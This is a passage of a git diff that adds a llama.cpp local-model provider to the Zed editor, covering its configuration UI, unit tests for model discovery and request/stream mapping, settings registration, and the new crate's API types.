+                .on_action(cx.listener(Self::save_api_key))
+                .child(self.api_key_editor.clone())
+                .child(
+                    Label::new(format!(
+                        "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."
+                    ))
+                    .size(LabelSize::Small)
+                    .color(Color::Muted),
+                )
+                .into_any_element()
+        } else {
+            ConfiguredApiCard::new(configured_card_label)
+                .disabled(env_var_set)
+                .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
+                .when(env_var_set, |this| {
+                    this.tooltip_label(format!(
+                        "To reset your API key, unset the {API_KEY_ENV_VAR_NAME} environment variable."
+                    ))
+                })
+                .into_any_element()
+        }
+    }
+
+    fn render_context_window_editor(&self, cx: &Context<Self>) -> Div {
+        let settings = LlamaCppLanguageModelProvider::settings(cx);
+        let custom_context_window_set = settings.context_window.is_some();
+
+        if custom_context_window_set {
+            h_flex()
+                .p_3()
+                .justify_between()
+                .rounded_md()
+                .border_1()
+                .border_color(cx.theme().colors().border)
+                .bg(cx.theme().colors().elevated_surface_background)
+                .child(
+                    h_flex()
+                        .gap_2()
+                        .child(Icon::new(IconName::Check).color(Color::Success))
+                        .child(v_flex().gap_1().child(Label::new(format!(
+                            "Context Window: {}",
+                            settings.context_window.unwrap_or_default()
+                        )))),
+                )
+                .child(
+                    Button::new("reset-context-window", "Reset")
+                        .label_size(LabelSize::Small)
+                        .start_icon(Icon::new(IconName::Undo).size(IconSize::Small))
+                        .layer(ElevationIndex::ModalSurface)
+                        .on_click(
+                            cx.listener(|this, _, window, cx| {
+                                this.reset_context_window(window, cx)
+                            }),
+                        ),
+                )
+        } else {
+            v_flex()
+                .on_action(
+                    cx.listener(|this, _: &menu::Confirm, _window, cx| {
+                        this.save_context_window(cx)
+                    }),
+                )
+                .child(self.context_window_editor.clone())
+                .child(
+                    Label::new("Default: discovered from the server")
+                        .size(LabelSize::Small)
+                        .color(Color::Muted),
+                )
+        }
+    }
+
+    fn render_api_url_editor(&self, cx: &Context<Self>) -> Div {
+        let api_url = LlamaCppLanguageModelProvider::api_url(cx);
+        let custom_api_url_set = api_url != LLAMA_CPP_API_URL;
+
+        if custom_api_url_set {
+            h_flex()
+                .p_3()
+                .justify_between()
+                .rounded_md()
+                .border_1()
+                .border_color(cx.theme().colors().border)
+                .bg(cx.theme().colors().elevated_surface_background)
+                .child(
+                    h_flex()
+                        .gap_2()
+                        .child(Icon::new(IconName::Check).color(Color::Success))
+                        .child(v_flex().gap_1().child(Label::new(api_url))),
+                )
+                .child(
+                    Button::new("reset-api-url", "Reset API URL")
+                        .label_size(LabelSize::Small)
+                        .start_icon(Icon::new(IconName::Undo).size(IconSize::Small))
+                        .layer(ElevationIndex::ModalSurface)
+                        .on_click(
+                            cx.listener(|this, _, window, cx| this.reset_api_url(window, cx)),
+                        ),
+                )
+        } else {
+            v_flex()
+                .on_action(cx.listener(|this, _: &menu::Confirm, _window, cx| {
+                    this.save_api_url(cx);
+                    cx.notify();
+                }))
+                .gap_2()
+                .child(self.api_url_editor.clone())
+        }
+    }
+}
+
+impl Render for ConfigurationView {
+    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let is_authenticated = self.state.read(cx).is_authenticated();
+
+        v_flex()
+            .gap_2()
+            .child(Self::render_instructions(cx))
+            .child(self.render_api_url_editor(cx))
+            .child(self.render_context_window_editor(cx))
+            .child(self.render_api_key_editor(cx))
+            .child(
+                h_flex()
+                    .w_full()
+                    .justify_between()
+                    .gap_2()
+                    .child(
+                        h_flex()
+                            .w_full()
+                            .gap_2()
+                            .map(|this| {
+                                if is_authenticated {
+                                    this.child(
+                                        Button::new("llama-cpp-webui", "Open WebUI")
+                                            .style(ButtonStyle::Subtle)
+                                            .end_icon(
+                                                Icon::new(IconName::ArrowUpRight)
+                                                    .size(IconSize::XSmall)
+                                                    .color(Color::Muted),
+                                            )
+                                            .on_click(move |_, _, cx| {
+                                                let url =
+                                                    LlamaCppLanguageModelProvider::api_url(cx);
+                                                cx.open_url(&url);
+                                            })
+                                            .into_any_element(),
+                                    )
+                                    .child(
+                                        Button::new("llama-cpp-site", "llama.cpp")
+                                            .style(ButtonStyle::Subtle)
+                                            .end_icon(
+                                                Icon::new(IconName::ArrowUpRight)
+                                                    .size(IconSize::XSmall)
+                                                    .color(Color::Muted),
+                                            )
+                                            .on_click(move |_, _, cx| {
+                                                cx.open_url(LLAMA_CPP_DOWNLOAD_URL)
+                                            })
+                                            .into_any_element(),
+                                    )
+                                } else {
+                                    this.child(
+                                        Button::new("download_llama_cpp_button", "Get llama.cpp")
+                                            .style(ButtonStyle::Subtle)
+                                            .end_icon(
+                                                Icon::new(IconName::ArrowUpRight)
+                                                    .size(IconSize::XSmall)
+                                                    .color(Color::Muted),
+                                            )
+                                            .on_click(move |_, _, cx| {
+                                                cx.open_url(LLAMA_CPP_DOWNLOAD_URL)
+                                            })
+                                            .into_any_element(),
+                                    )
+                                }
+                            })
+                            .child(
+                                Button::new("view-models", "Browse GGUF Models")
+                                    .style(ButtonStyle::Subtle)
+                                    .end_icon(
+                                        Icon::new(IconName::ArrowUpRight)
+                                            .size(IconSize::XSmall)
+                                            .color(Color::Muted),
+                                    )
+                                    .on_click(move |_, _, cx| cx.open_url(LLAMA_CPP_MODELS_URL)),
+                            ),
+                    )
+                    .map(|this| {
+                        if is_authenticated {
+                            this.child(
+                                ButtonLike::new("connected")
+                                    .disabled(true)
+                                    .cursor_style(CursorStyle::Arrow)
+                                    .child(
+                                        h_flex()
+                                            .gap_2()
+                                            .child(Icon::new(IconName::Check).color(Color::Success))
+                                            .child(Label::new("Connected"))
+                                            .into_any_element(),
+                                    )
+                                    .child(
+                                        IconButton::new("refresh-models", IconName::RotateCcw)
+                                            .tooltip(Tooltip::text("Refresh Models"))
+                                            .on_click(cx.listener(|this, _, window, cx| {
+                                                this.state.update(cx, |state, _| {
+                                                    state.fetched_models.clear();
+                                                });
+                                                this.retry_connection(window, cx);
+                                            })),
+                                    ),
+                            )
+                        } else {
+                            this.child(
+                                Button::new("retry_llama_cpp_models", "Connect")
+                                    .start_icon(
+                                        Icon::new(IconName::PlayOutlined).size(IconSize::XSmall),
+                                    )
+                                    .on_click(cx.listener(move |this, _, window, cx| {
+                                        this.retry_connection(window, cx)
+                                    })),
+                            )
+                        }
+                    }),
+            )
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use gpui::TestAppContext;
+    use http_client::FakeHttpClient;
+    use parking_lot::Mutex;
+    use std::sync::atomic::{AtomicUsize, Ordering};
+
+    struct FakeCredentialsProvider {
+        api_key: Vec<u8>,
+    }
+
+    impl CredentialsProvider for FakeCredentialsProvider {
+        fn read_credentials<'a>(
+            &'a self,
+            _url: &'a str,
+            _cx: &'a AsyncApp,
+        ) -> std::pin::Pin<
+            Box<dyn std::future::Future<Output = Result<Option<(String, Vec<u8>)>>> + 'a>,
+        > {
+            let api_key = self.api_key.clone();
+            Box::pin(async move { Ok(Some(("Bearer".to_string(), api_key))) })
+        }
+
+        fn write_credentials<'a>(
+            &'a self,
+            _url: &'a str,
+            _username: &'a str,
+            _password: &'a [u8],
+            _cx: &'a AsyncApp,
+        ) -> std::pin::Pin<Box<dyn std::future::Future<Output = Result<()>> + 'a>> {
+            Box::pin(async { Ok(()) })
+        }
+
+        fn delete_credentials<'a>(
+            &'a self,
+            _url: &'a str,
+            _cx: &'a AsyncApp,
+        ) -> std::pin::Pin<Box<dyn std::future::Future<Output = Result<()>> + 'a>> {
+            Box::pin(async { Ok(()) })
+        }
+    }
+
+    fn entry(id: &str, n_ctx: Option<u64>, n_ctx_train: Option<u64>) -> ModelEntry {
+        ModelEntry {
+            id: id.to_string(),
+            meta: Some(llama_cpp::ModelMeta { n_ctx, n_ctx_train }),
+            architecture: None,
+            status: None,
+        }
+    }
+
+    #[test]
+    fn display_name_strips_path_and_extension() {
+        assert_eq!(
+            display_name_for("../models/Qwen2.5-Coder-7B-Instruct-Q4_K_M.gguf"),
+            "Qwen2.5-Coder-7B-Instruct-Q4_K_M"
+        );
+        assert_eq!(display_name_for("my-alias"), "my-alias");
+    }
+
+    #[test]
+    fn telemetry_id_strips_local_model_paths() {
+        assert_eq!(
+            telemetry_id_for("/Users/alice/models/Qwen2.5-Coder-7B-Instruct-Q4_K_M.gguf"),
+            "llama_cpp/Qwen2.5-Coder-7B-Instruct-Q4_K_M"
+        );
+        assert_eq!(
+            telemetry_id_for(r"C:\Users\alice\models\Qwen2.5-Coder-7B-Instruct-Q4_K_M.gguf"),
+            "llama_cpp/Qwen2.5-Coder-7B-Instruct-Q4_K_M"
+        );
+        assert_eq!(telemetry_id_for("my-alias"), "llama_cpp/my-alias");
+    }
+
+    #[test]
+    fn model_uses_props_then_meta_for_context() {
+        let props = Props {
+            default_generation_settings: Some(llama_cpp::GenerationSettings { n_ctx: Some(8192) }),
+            modalities: Some(llama_cpp::Modalities { vision: true }),
+            chat_template_caps: Some(llama_cpp::ChatTemplateCaps {
+                supports_tool_calls: true,
+                supports_preserve_reasoning: true,
+                ..Default::default()
+            }),
+        };
+        // /props wins when present.
+        let model = model_from_entry(&entry("m", Some(4096), Some(131072)), Some(&props));
+        assert_eq!(model.max_tokens, 8192);
+        assert!(model.supports_tools);
+        assert!(model.supports_images);
+        assert!(model.supports_thinking);
+
+        // Unprobed: falls back to the listing's runtime context, then trained
+        // context. Tools are assumed supported until the model loads.
+        let model = model_from_entry(&entry("m", Some(4096), Some(131072)), None);
+        assert_eq!(model.max_tokens, 4096);
+        assert!(model.supports_tools);
+        assert!(!model.supports_thinking);
+
+        let model = model_from_entry(&entry("m", None, Some(131072)), None);
+        assert_eq!(model.max_tokens, 131072);
+
+        // Nothing reported -> the optimistic unloaded-context assumption.
+        let model = model_from_entry(&entry("m", None, None), None);
+        assert_eq!(model.max_tokens, ASSUMED_UNLOADED_CONTEXT);
+        assert!(model.supports_tools);
+    }
+
+    #[test]
+    fn router_entry_detects_vision_from_modalities() {
+        let router_entry = ModelEntry {
+            id: "vlm".to_string(),
+            meta: None,
+            architecture: Some(llama_cpp::Architecture {
+                input_modalities: vec!["text".to_string(), "image".to_string()],
+            }),
+            status: Some(llama_cpp::ModelStatus {
+                value: "unloaded".to_string(),
+            }),
+        };
+        let model = model_from_entry(&router_entry, None);
+        assert!(model.supports_images);
+        // Unprobed router models optimistically advertise tools until loaded.
+        assert!(model.supports_tools);
+    }
+
+    #[test]
+    fn settings_override_capabilities_and_context() {
+        let mut models: HashMap<String, llama_cpp::Model> = HashMap::default();
+        models.insert(
+            "qwen".to_string(),
+            llama_cpp::Model::new("qwen", Some("qwen"), Some(8192), false, false, false),
+        );
+
+        let available = vec![AvailableModel {
+            name: "qwen".to_string(),
+            display_name: Some("Qwen Coder".to_string()),
+            max_tokens: 16384,
+            supports_tools: Some(true),
+            supports_images: None,
+            supports_thinking: Some(true),
+        }];
+
+        merge_settings_into_models(&mut models, &available, None);
+
+        let model = models.get("qwen").unwrap();
+        assert_eq!(model.display_name.as_deref(), Some("Qwen Coder"));
+        assert_eq!(model.max_tokens, 16384);
+        assert!(model.supports_tools);
+        assert!(model.supports_thinking);
+        // Unspecified capability keeps the discovered value.
+        assert!(!model.supports_images);
+    }
+
+    #[test]
+    fn capability_cells_update_when_a_model_loads() {
+        let cells: CapabilityCells = Arc::new(RwLock::new(HashMap::default()));
+        let settings = LlamaCppSettings {
+            auto_discover: true,
+            ..Default::default()
+        };
+
+        // Cold: the optimistic unloaded-context assumption.
+        let cold = vec![llama_cpp::Model::new(
+            "m",
+            Some("m"),
+            Some(ASSUMED_UNLOADED_CONTEXT),
+            true,
+            false,
+            false,
+        )];
+        sync_capability_cells(&cells, &compute_effective_models(&cold, &settings));
+        assert_eq!(
+            cells.read().unwrap().get("m").unwrap().max_tokens,
+            ASSUMED_UNLOADED_CONTEXT
+        );
+
+        // The model loads and reports its real context. The shared map must
+        // reflect the new value so a model reading it by name (an open
+        // conversation) is no longer stuck on the cold-start assumption.
+        let loaded = vec![llama_cpp::Model::new(
+            "m",
+            Some("m"),
+            Some(262_144),
+            true,
+            false,
+            true,
+        )];
+        sync_capability_cells(&cells, &compute_effective_models(&loaded, &settings));
+        assert_eq!(cells.read().unwrap().get("m").unwrap().max_tokens, 262_144);
+        assert!(cells.read().unwrap().get("m").unwrap().supports_thinking);
+    }
+
+    #[test]
+    fn request_preserves_assistant_thinking_when_supported() {
+        let request = build_llama_cpp_request(
+            "test-model",
+            false,
+            LiveCapabilities {
+                max_tokens: 8192,
+                supports_tools: false,
+                supports_thinking: true,
+            },
+            LanguageModelRequest {
+                messages: vec![language_model::LanguageModelRequestMessage {
+                    role: Role::Assistant,
+                    content: vec![
+                        MessageContent::Thinking {
+                            text: "reasoning".to_string(),
+                            signature: None,
+                        },
+                        MessageContent::Text("answer".to_string()),
+                    ],
+                    cache: false,
+                    reasoning_details: None,
+                }],
+                ..Default::default()
+            },
+        );
+
+        assert_eq!(request.messages.len(), 1);
+        match &request.messages[0] {
+            llama_cpp::ChatMessage::Assistant {
+                content: Some(llama_cpp::MessageContent::Plain(content)),
+                reasoning_content: Some(reasoning_content),
+                tool_calls,
+            } => {
+                assert_eq!(content, "answer");
+                assert_eq!(reasoning_content, "reasoning");
+                assert!(tool_calls.is_empty());
+            }
+            message => panic!("unexpected message: {message:?}"),
+        }
+    }
+
+    #[test]
+    fn request_skips_assistant_thinking_when_unsupported() {
+        let request = build_llama_cpp_request(
+            "test-model",
+            false,
+            LiveCapabilities {
+                max_tokens: 8192,
+                supports_tools: false,
+                supports_thinking: false,
+            },
+            LanguageModelRequest {
+                messages: vec![language_model::LanguageModelRequestMessage {
+                    role: Role::Assistant,
+                    content: vec![
+                        MessageContent::Thinking {
+                            text: "reasoning".to_string(),
+                            signature: None,
+                        },
+                        MessageContent::RedactedThinking("encrypted".to_string()),
+                        MessageContent::Text("answer".to_string()),
+                    ],
+                    cache: false,
+                    reasoning_details: None,
+                }],
+                ..Default::default()
+            },
+        );
+
+        assert_eq!(request.messages.len(), 1);
+        match &request.messages[0] {
+            llama_cpp::ChatMessage::Assistant {
+                content: Some(llama_cpp::MessageContent::Plain(content)),
+                reasoning_content,
+                tool_calls,
+            } => {
+                assert_eq!(content, "answer");
+                assert_eq!(reasoning_content, &None);
+                assert!(tool_calls.is_empty());
+            }
+            message => panic!("unexpected message: {message:?}"),
+        }
+    }
+
+    #[test]
+    fn request_preserves_thinking_for_assistant_tool_calls_when_supported() {
+        let request = build_llama_cpp_request(
+            "test-model",
+            false,
+            LiveCapabilities {
+                max_tokens: 8192,
+                supports_tools: true,
+                supports_thinking: true,
+            },
+            LanguageModelRequest {
+                messages: vec![language_model::LanguageModelRequestMessage {
+                    role: Role::Assistant,
+                    content: vec![
+                        MessageContent::Thinking {
+                            text: "reasoning".to_string(),
+                            signature: None,
+                        },
+                        MessageContent::ToolUse(LanguageModelToolUse {
+                            id: "call_1".into(),
+                            name: "weather".into(),
+                            raw_input: r#"{"city":"Oslo"}"#.to_string(),
+                            input: serde_json::json!({ "city": "Oslo" }),
+                            is_input_complete: true,
+                            thought_signature: None,
+                        }),
+                    ],
+                    cache: false,
+                    reasoning_details: None,
+                }],
+                ..Default::default()
+            },
+        );
+
+        assert_eq!(request.messages.len(), 1);
+        match &request.messages[0] {
+            llama_cpp::ChatMessage::Assistant {
+                content: None,
+                reasoning_content: Some(reasoning_content),
+                tool_calls,
+            } => {
+                assert_eq!(reasoning_content, "reasoning");
+                assert_eq!(tool_calls.len(), 1);
+            }
+            message => panic!("unexpected message: {message:?}"),
+        }
+    }
+
+    #[test]
+    fn usage_event_precedes_stop_event() {
+        let mut mapper = LlamaCppEventMapper::new();
+        let events = mapper.map_event(llama_cpp::ResponseStreamEvent {
+            model: "test-model".to_string(),
+            object: "chat.completion.chunk".to_string(),
+            choices: vec![llama_cpp::ChoiceDelta {
+                index: 0,
+                delta: llama_cpp::ResponseMessageDelta {
+                    content: None,
+                    reasoning_content: None,
+                    tool_calls: None,
+                },
+                finish_reason: Some("stop".to_string()),
+            }],
+            usage: Some(llama_cpp::Usage {
+                prompt_tokens: 11,
+                completion_tokens: 7,
+                total_tokens: 18,
+            }),
+        });
+
+        assert!(matches!(
+            events.as_slice(),
+            [
+                Ok(LanguageModelCompletionEvent::UsageUpdate(TokenUsage {
+                    input_tokens: 11,
+                    output_tokens: 7,
+                    cache_creation_input_tokens: 0,
+                    cache_read_input_tokens: 0,
+                })),
+                Ok(LanguageModelCompletionEvent::Stop(StopReason::EndTurn)),
+            ]
+        ));
+    }
+
+    #[test]
+    fn usage_event_precedes_tool_use_stop_event() {
+        let mut mapper = LlamaCppEventMapper::new();
+        let events = mapper.map_event(llama_cpp::ResponseStreamEvent {
+            model: "test-model".to_string(),
+            object: "chat.completion.chunk".to_string(),
+            choices: vec![llama_cpp::ChoiceDelta {
+                index: 0,
+                delta: llama_cpp::ResponseMessageDelta {
+                    content: None,
+                    reasoning_content: None,
+                    tool_calls: Some(vec![llama_cpp::ToolCallChunk {
+                        index: 0,
+                        id: Some("tool-call-id".to_string()),
+                        function: Some(llama_cpp::FunctionChunk {
+                            name: Some("test_tool".to_string()),
+                            arguments: Some(r#"{"value":1}"#.to_string()),
+                        }),
+                    }]),
+                },
+                finish_reason: Some("tool_calls".to_string()),
+            }],
+            usage: Some(llama_cpp::Usage {
+                prompt_tokens: 13,
+                completion_tokens: 5,
+                total_tokens: 18,
+            }),
+        });
+
+        assert!(matches!(
+            events.as_slice(),
+            [
+                Ok(LanguageModelCompletionEvent::UsageUpdate(TokenUsage {
+                    input_tokens: 13,
+                    output_tokens: 5,
+                    cache_creation_input_tokens: 0,
+                    cache_read_input_tokens: 0,
+                })),
+                Ok(LanguageModelCompletionEvent::ToolUse(LanguageModelToolUse {
+                    id,
+                    name,
+                    ..
+                })),
+                Ok(LanguageModelCompletionEvent::Stop(StopReason::ToolUse)),
+            ] if id.to_string() == "tool-call-id" && name.as_ref() == "test_tool"
+        ));
+    }
+
+    #[gpui::test]
+    async fn authenticate_fetches_models_after_loading_api_key(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let settings_store = SettingsStore::test(cx);
+            cx.set_global(settings_store);
+        });
+
+        let model_request_authorizations = Arc::new(Mutex::new(Vec::new()));
+        let model_request_count = Arc::new(AtomicUsize::new(0));
+        let http_client = FakeHttpClient::create({
+            let model_request_authorizations = model_request_authorizations.clone();
+            let model_request_count = model_request_count.clone();
+            move |request| {
+                let model_request_authorizations = model_request_authorizations.clone();
+                let model_request_count = model_request_count.clone();
+                async move {
+                    let path = request.uri().path();
+                    let authorization = request
+                        .headers()
+                        .get("Authorization")
+                        .and_then(|value| value.to_str().ok())
+                        .map(str::to_string);
+
+                    if path == "/v1/models" {
+                        model_request_authorizations.lock().push(authorization);
+                        let request_index = model_request_count.fetch_add(1, Ordering::SeqCst);
+                        if request_index == 0 {
+                            return Ok(http_client::Response::builder()
+                                .status(503)
+                                .body(http_client::AsyncBody::from("not ready"))?);
+                        }
+
+                        return Ok(http_client::Response::builder().status(200).body(
+                            http_client::AsyncBody::from(
+                                r#"{"data":[{"id":"test-model","meta":{"n_ctx":4096}}]}"#,
+                            ),
+                        )?);
+                    }
+
+                    if path == "/props" {
+                        return Ok(http_client::Response::builder()
+                            .status(200)
+                            .body(http_client::AsyncBody::from("{}"))?);
+                    }
+
+                    Ok(http_client::Response::builder()
+                        .status(404)
+                        .body(http_client::AsyncBody::default())?)
+                }
+            }
+        });
+        let credentials_provider = Arc::new(FakeCredentialsProvider {
+            api_key: b"loaded-key".to_vec(),
+        });
+        let provider = cx
+            .update(|cx| LlamaCppLanguageModelProvider::new(http_client, credentials_provider, cx));
+
+        cx.run_until_parked();
+
+        let result = cx.update(|cx| provider.authenticate(cx)).await;
+        assert!(
+            result.is_ok(),
+            "authenticate should discover models after loading credentials"
+        );
+        assert_eq!(
+            &*model_request_authorizations.lock(),
+            &[None, Some("Bearer loaded-key".to_string())]
+        );
+    }
+}
diff --git a/crates/language_models/src/settings.rs b/crates/language_models/src/settings.rs
index d2fc9f59a266f8..1ce7caa3a675fb 100644
--- a/crates/language_models/src/settings.rs
+++ b/crates/language_models/src/settings.rs
@@ -6,10 +6,11 @@ use settings::RegisterSetting;
 use crate::provider::{
     anthropic, anthropic::AnthropicSettings, anthropic_compatible::AnthropicCompatibleSettings,
     bedrock, bedrock::AmazonBedrockSettings, cloud::ZedDotDevSettings, deepseek::DeepSeekSettings,
-    google::GoogleSettings, lmstudio::LmStudioSettings, mistral, mistral::MistralSettings,
-    ollama::OllamaSettings, open_ai::OpenAiSettings, open_ai_compatible::OpenAiCompatibleSettings,
-    open_router, open_router::OpenRouterSettings, opencode, opencode::OpenCodeSettings,
-    resolve_custom_headers, vercel_ai_gateway::VercelAiGatewaySettings, x_ai::XAiSettings,
+    google::GoogleSettings, llama_cpp::LlamaCppSettings, lmstudio::LmStudioSettings, mistral,
+    mistral::MistralSettings, ollama::OllamaSettings, open_ai::OpenAiSettings,
+    open_ai_compatible::OpenAiCompatibleSettings, open_router, open_router::OpenRouterSettings,
+    opencode, opencode::OpenCodeSettings, resolve_custom_headers,
+    vercel_ai_gateway::VercelAiGatewaySettings, x_ai::XAiSettings,
 };
 
 #[derive(Debug, RegisterSetting)]
@@ -19,6 +20,7 @@ pub struct AllLanguageModelSettings {
     pub bedrock: AmazonBedrockSettings,
     pub deepseek: DeepSeekSettings,
     pub google: GoogleSettings,
+    pub llama_cpp: LlamaCppSettings,
     pub lmstudio: LmStudioSettings,
     pub mistral: MistralSettings,
     pub ollama: OllamaSettings,
@@ -52,6 +54,7 @@ impl settings::Settings for AllLanguageModelSettings {
         let bedrock = language_models.bedrock.unwrap();
         let deepseek = language_models.deepseek.unwrap();
         let google = language_models.google.unwrap();
+        let llama_cpp = language_models.llama_cpp.unwrap();
         let lmstudio = language_models.lmstudio.unwrap();
         let mistral = language_models.mistral.unwrap();
         let ollama = language_models.ollama.unwrap();
@@ -116,6 +119,13 @@ impl settings::Settings for AllLanguageModelSettings {
                 available_models: google.available_models.unwrap_or_default(),
                 custom_headers: custom_headers_from("Google AI", google.custom_headers, &[]),
             },
+            llama_cpp: LlamaCppSettings {
+                api_url: llama_cpp.api_url.unwrap(),
+                auto_discover: llama_cpp.auto_discover.unwrap_or(true),
+                available_models: llama_cpp.available_models.unwrap_or_default(),
+                context_window: llama_cpp.context_window,
+                custom_headers: custom_headers_from("llama.cpp", llama_cpp.custom_headers, &[]),
+            },
             lmstudio: LmStudioSettings {
                 api_url: lmstudio.api_url.unwrap(),
                 available_models: lmstudio.available_models.unwrap_or_default(),
diff --git a/crates/llama_cpp/Cargo.toml b/crates/llama_cpp/Cargo.toml
new file mode 100644
index 00000000000000..c77c2dd8171d83
--- /dev/null
+++ b/crates/llama_cpp/Cargo.toml
@@ -0,0 +1,25 @@
+[package]
+name = "llama_cpp"
+version = "0.1.0"
+edition.workspace = true
+publish.workspace = true
+license = "GPL-3.0-or-later"
+
+[lints]
+workspace = true
+
+[lib]
+path = "src/llama_cpp.rs"
+
+[features]
+default = []
+schemars = ["dep:schemars"]
+
+[dependencies]
+anyhow.workspace = true
+futures.workspace = true
+http_client.workspace = true
+schemars = { workspace = true, optional = true }
+serde.workspace = true
+serde_json.workspace = true
+url.workspace = true
diff --git a/crates/llama_cpp/LICENSE-GPL b/crates/llama_cpp/LICENSE-GPL
new file mode 120000
index 00000000000000..89e542f750cd38
--- /dev/null
+++ b/crates/llama_cpp/LICENSE-GPL
@@ -0,0 +1 @@
+../../LICENSE-GPL
\ No newline at end of file
diff --git a/crates/llama_cpp/src/llama_cpp.rs b/crates/llama_cpp/src/llama_cpp.rs
new file mode 100644
index 00000000000000..5d5238c4b1b1ce
--- /dev/null
+++ b/crates/llama_cpp/src/llama_cpp.rs
@@ -0,0 +1,911 @@
+use anyhow::{Context as _, Result, anyhow};
+use futures::{AsyncBufReadExt, AsyncReadExt, StreamExt, io::BufReader, stream::BoxStream};
+use http_client::{
+    AsyncBody, CustomHeaders, HttpClient, HttpRequestExt, Method, Request as HttpRequest,
+    RequestBuilderExt, http,
+};
+use serde::{Deserialize, Serialize};
+use serde_json::Value;
+use url::Url;
+
+pub const LLAMA_CPP_API_URL: &str = "http://localhost:8080";
+
+const DEFAULT_CONTEXT_LENGTH: u64 = 4096;
+
+/// A model exposed to the rest of Zed, after merging API discovery with
+/// user-configured overrides.
+#[cfg_attr(feature = "schemars", derive(schemars::JsonSchema))]
+#[derive(Clone, Debug, Default, Serialize, Deserialize, PartialEq)]
+pub struct Model {
+    pub name: String,
+    pub display_name: Option<String>,
+    pub max_tokens: u64,
+    pub supports_tools: bool,
+    pub supports_images: bool,
+    pub supports_thinking: bool,
+}
+
+impl Model {
+    pub fn new(
+        name: &str,
+        display_name: Option<&str>,
+        max_tokens: Option<u64>,
+        supports_tools: bool,
+        supports_images: bool,
+        supports_thinking: bool,
+    ) -> Self {
+        Self {
+            name: name.to_owned(),
+            display_name: display_name.map(ToString::to_string),
+            max_tokens: max_tokens.unwrap_or(DEFAULT_CONTEXT_LENGTH),
+            supports_tools,
+            supports_images,
+            supports_thinking,
+        }
+    }
+
+    pub fn display_name(&self) -> &str {
+        self.display_name.as_deref().unwrap_or(&self.name)
+    }
+}
+
+#[derive(Debug, Serialize, Deserialize)]
+#[serde(rename_all = "lowercase")]
+pub enum ToolChoice {
+    Auto,
+    Required,
+    None,
+}
+
+#[derive(Clone, Deserialize, Serialize, Debug)]
+#[serde(tag = "type", rename_all = "snake_case")]
+pub enum ToolDefinition {
+    Function { function: FunctionDefinition },
+}
+
+#[derive(Clone, Debug, Serialize, Deserialize)]
+pub struct FunctionDefinition {
+    pub name: String,
+    pub description: Option<String>,
+    pub parameters: Option<Value>,
+}
+
+#[derive(Serialize, Deserialize, Debug)]
+#[serde(tag = "role", rename_all = "lowercase")]
+pub enum ChatMessage {
+    Assistant {
+        #[serde(default)]
+        content: Option<MessageContent>,
+        #[serde(default, skip_serializing_if = "Option::is_none")]
+        reasoning_content: Option<String>,
+        #[serde(default, skip_serializing_if = "Vec::is_empty")]
+        tool_calls: Vec<ToolCall>,
+    },
+    User {
+        content: MessageContent,
+    },
+    System {
+        content: MessageContent,
+    },
+    Tool {
+        content: MessageContent,
+        tool_call_id: String,
+    },
+}
+
+#[derive(Serialize, Deserialize, Debug, Eq, PartialEq)]
+#[serde(untagged)]
+pub enum MessageContent {
+    Plain(String),
+    Multipart(Vec<MessagePart>),
+}
+
+impl MessageContent {
+    pub fn push_part(&mut self, part: MessagePart) {
+        match self {
+            MessageContent::Plain(text) => {
+                *self =
+                    MessageContent::Multipart(vec![MessagePart::Text { text: text.clone() }, part]);
+            }
+            MessageContent::Multipart(parts) if parts.is_empty() => match part {
+                MessagePart::Text { text } => *self = MessageContent::Plain(text),
+                MessagePart::Image { .. } => *self = MessageContent::Multipart(vec![part]),
+            },
+            MessageContent::Multipart(parts) => parts.push(part),
+        }
+    }
+}
+
+impl From<Vec<MessagePart>> for MessageContent {
+    fn from(mut parts: Vec<MessagePart>) -> Self {
+        if let [MessagePart::Text { text }] = parts.as_mut_slice() {
+            MessageContent::Plain(std::mem::take(text))
+        } else {
+            MessageContent::Multipart(parts)
+        }
+    }
+}
+
+#[derive(Serialize, Deserialize, Debug, Eq, PartialEq)]
+#[serde(tag = "type", rename_all = "snake_case")]
+pub enum MessagePart {
+    Text {
+        text: String,
+    },
+    #[serde(rename = "image_url")]
+    Image {
+        image_url: ImageUrl,
+    },
+}
+
+#[derive(Serialize, Deserialize, Clone, Debug, Eq, PartialEq)]
+pub struct ImageUrl {
+    pub url: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub detail: Option<String>,
+}
+
+#[derive(Serialize, Deserialize, Debug, Eq, PartialEq)]
+pub struct ToolCall {
+    pub id: String,
+    #[serde(flatten)]
+    pub content: ToolCallContent,
+}
+
+#[derive(Serialize, Deserialize, Debug, Eq, PartialEq)]
+#[serde(tag = "type", rename_all = "lowercase")]
+pub enum ToolCallContent {
+    Function { function: FunctionContent },
+}
+
+#[derive(Serialize, Deserialize, Debug, Eq, PartialEq)]
+pub struct FunctionContent {
+    pub name: String,
+    pub arguments: String,
+}
+
+#[derive(Serialize, Debug)]
+pub struct ChatCompletionRequest {
+    pub model: String,
+    pub messages: Vec<ChatMessage>,
+    pub stream: bool,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub max_tokens: Option<i32>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub stop: Option<Vec<String>>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub temperature: Option<f32>,
+    #[serde(skip_serializing_if = "Vec::is_empty")]
+    pub tools: Vec<ToolDefinition>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub tool_choice: Option<ToolChoice>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub stream_options: Option<StreamOptions>,
+}
+
+/// Asks the server to include a final `usage` chunk in the stream.
+#[derive(Serialize, Debug)]
+pub struct StreamOptions {
+    pub include_usage: bool,
+}
+
+#[derive(Serialize, Deserialize, Debug)]
+pub struct Usage {
+    pub prompt_tokens: u64,
+    pub completion_tokens: u64,
+    pub total_tokens: u64,
+}
+
+#[derive(Serialize, Deserialize, Debug)]
+pub struct LlamaCppError {
+    pub message: String,
+}
+
+#[derive(Serialize, Deserialize, Debug)]
+#[serde(untagged)]
+pub enum ResponseStreamResult {
+    Ok(ResponseStreamEvent),
+    Err { error: LlamaCppError },
+}
+
+#[derive(Serialize, Deserialize, Debug)]
+pub struct ResponseStreamEvent {
+    pub model: String,
+    pub object: String,
+    pub choices: Vec<ChoiceDelta>,
+    pub usage: Option<Usage>,
+}
+
